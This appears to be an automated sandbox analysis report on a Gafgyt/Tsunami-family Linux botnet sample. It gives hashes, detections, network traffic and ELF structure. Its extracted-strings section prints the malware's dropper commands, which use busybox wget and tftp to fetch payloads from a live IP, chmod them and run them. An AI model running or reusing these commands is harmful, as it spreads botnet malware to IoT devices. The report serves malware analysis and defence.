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Linux Analysis Report
spc.tsunami.elf

Overview

General Information

Sample name:	spc.tsunami.elf
Analysis ID:	1664252
MD5:	303810aad2aef0a033e494500465fec8
SHA1:	51ee2b2e62ee2b662f3a177eeb4baddebe283651
SHA256:	0f94b0842e83acb2a752d2cd635088812cf4580bfb6c778844e3c4498a20fcdd
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1664252
Start date and time:	2025-04-13 22:33:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	spc.tsunami.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://156.228.232.89
VT rate limit hit for: https://www.youtube.ru/watch?v=OGp9P6QvMjY
VT rate limit hit for: https://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAA2LpJibi9Xd5NmY49FITRUVB5UT

Runtime Messages

Command:	/tmp/spc.tsunami.elf
PID:	5483
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

spc.tsunami.elf (PID: 5483, Parent: 5410, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.tsunami.elf

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: spc.tsunami.elf

ReversingLabs: Detection: 41%

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: spc.tsunami.elf	String found in binary or memory: Cdh5GZtVWYhl2cuFGdz9mLsNWdAIiZh5GZtVWYhl2cuFGdz9mLsNWdAI2Zz9Ca0BGa0FGI0lWYpxWYg4mZtFWa5xGI0FHIoRSZuBXZ0hHIhRmYlxHI1NmcgUXagMXcpVXZAQhttps://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAA2LpJibi9Xd5NmY49FITRUVB5UTAkWZh5mYlx3czlGdtV2clhGbAw2cAgGbulXdzhGasVAbAAABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./. equals www.youtube.com (Youtube)
Source: spc.tsunami.elf	String found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjY equals www.youtube.com (Youtube)

Source: spc.tsunami.elf	String found in binary or memory: http://156.228.232.89
Source: spc.tsunami.elf	String found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjY
Source: spc.tsunami.elf	String found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAA2LpJibi9Xd5NmY49FITRUVB5UT

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox TSUNAMI
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sample	String containing 'busybox' found: /bin/busybox KSLAKW; /bin/busybox wget; /bin/busybox tftp; /bin/busybox echo
Source: Initial sample	String containing 'busybox' found: pdlbwairmoheqc18k5fgstv4jn072u63arm5arm@72bpdgbAAgOAA2cyVmbtFQZAAndkJndAMXYzN2dy9AZAA2YvNWd05iOhBHcsBXZgQmb09GIvZWdk5gPAAAJAAwIAAnYzVWevJAeAAXbsVGdtk2YsFAbAAGasVAcAAmbvNnclJ3YAQnbhZGbklWYslWZAQWZp5WZAQncvJgcAA2bk9nYllmYkFURGx2dldDdgoXYwBGb0VGIv5CdmB3buVAZAAGd0ZDcgoXYwBGb0VGIv5CdmB3buVAZAAURIN0TPRkTAUenablesystemshellshlinuxshell/bin/busybox TSUNAMI/bin/busybox cat /bin/busybox
Source: Initial sample	String containing 'busybox' found: >t && cd && >retrieve; >.t/bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: -O -> .t; /bin/busybox chmod 777 .t; ./.t
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -r
Source: Initial sample	String containing 'busybox' found: ; /bin/busybox chmod 777 .t; ./.t
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -en '
Source: Initial sample	String containing 'busybox' found: retrieve && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
Source: Initial sample	String containing 'busybox' found: ELFarmsparci686m68kpowerpcsuperhx86_64mipselmips/bin/busybox wget http://156.228.232.89 -O -> .t; /bin/busybox chmod 777 .t; ./.t/bin/busybox tftp -r -l .t -g ; /bin/busybox chmod 777 .t; ./.t\x%02x/bin/busybox echo -en '' >> retrieve && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'./retrieve > .t && ./.t; >retrieve && >.t

Source: Initial sample	Potential command found: GET /fbot.arm5 HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.arm7 HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.x86 HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.mips HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.mipsel HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.powerpc HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.sparc HTTP/1.0
Source: Initial sample	Potential command found: GET /fbot.sh4 HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@0/0

Source: /tmp/spc.tsunami.elf (PID: 5483)

Queries kernel information via 'uname':

Jump to behavior

Source: spc.tsunami.elf, 5483.1.0000561de77d1000.0000561de7836000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: spc.tsunami.elf, 5483.1.0000561de77d1000.0000561de7836000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: spc.tsunami.elf, 5483.1.00007ffd1700d000.00007ffd1702e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.tsunami.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.tsunami.elf
Source: spc.tsunami.elf, 5483.1.00007ffd1700d000.00007ffd1702e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
spc.tsunami.elf	42%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://156.228.232.89	spc.tsunami.elf	false	unknown
https://www.youtube.ru/watch?v=OGp9P6QvMjY	spc.tsunami.elf	false	unknown
https://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAA2LpJibi9Xd5NmY49FITRUVB5UT	spc.tsunami.elf	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	vision.ppc.elf	Get hash	malicious	Mirai	Browse
	linux_mips64el.elf	Get hash	malicious	Chaos	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Chaos	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	dlr.x86.elf	Get hash	malicious	Unknown	Browse
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse
	mirai.arm5n.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm6.nn.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	nemil.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	nemil.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	nemil.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.984929727272772
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	spc.tsunami.elf
File size:	85'352 bytes
MD5:	303810aad2aef0a033e494500465fec8
SHA1:	51ee2b2e62ee2b662f3a177eeb4baddebe283651
SHA256:	0f94b0842e83acb2a752d2cd635088812cf4580bfb6c778844e3c4498a20fcdd
SHA512:	9cbb36a2c14db51249cdbfaad6175241854f8e0e2d3f03e252cdbe873e246242b123d91490fbc2e2fd97650bfb44e1ba5c6c0f128c232358691dd0ff85f1e9b2
SSDEEP:	1536:hY9e6ln8JpNHdTnVJ1Ha+jLlbCCq0nWv14K2ZIBtlLRUn1:C0dVJjRbZq0e2ZsRUn1
TLSH:	50833B727B790F67C8E0943951E7932AB3FA47892464820BBEA14D4CBF5C8B036537E5
File Content Preview:	.ELF...........................4..K`.....4. ...(......................Gh..Gh..............Gh..Gh..Gh......3...............G...G...G.................dt.Q................................@..(....@.A}................#.....c...`.....!.....!<..@.....".........`

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101c4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	84832
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x100b4	0xb4	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100d0	0xd0	0x1062c	0x0	0x6	AX	4
.fini	PROGBITS	0x206fc	0x106fc	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x20710	0x10710	0x4058	0x0	0x2	A	8
.eh_frame	PROGBITS	0x34768	0x14768	0x48	0x0	0x3	WA	4
.tbss	NOBITS	0x347b0	0x147b0	0x8	0x0	0x403	WAT	4
.ctors	PROGBITS	0x347b0	0x147b0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x347b8	0x147b8	0x8	0x0	0x3	WA	4
.got	PROGBITS	0x347c4	0x147c4	0x174	0x4	0x3	WA	4
.data	PROGBITS	0x34938	0x14938	0x1d4	0x0	0x3	WA	4
.bss	NOBITS	0x34b10	0x14b0c	0x2f68	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x14b0c	0x53	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x14768	0x14768	6.0062	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14768	0x34768	0x34768	0x3a4	0x3310	3.9067	0x6	RW	0x10000	.eh_frame .tbss .ctors .dtors .got .data .bss
TLS	0x147b0	0x347b0	0x347b0	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2025 22:34:10.906400919 CEST	46540	443	192.168.2.14	185.125.190.26
Apr 13, 2025 22:34:41.625864983 CEST	46540	443	192.168.2.14	185.125.190.26

System Behavior

Analysis Process: spc.tsunami.elf PID: 5483, Parent PID: 5410

General

Start time (UTC):	20:34:00
Start date (UTC):	13/04/2025
Path:	/tmp/spc.tsunami.elf
Arguments:	/tmp/spc.tsunami.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report spc.tsunami.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: spc.tsunami.elf PID: 5483, Parent PID: 5410

General

Chronological Activities

Linux Analysis Report
spc.tsunami.elf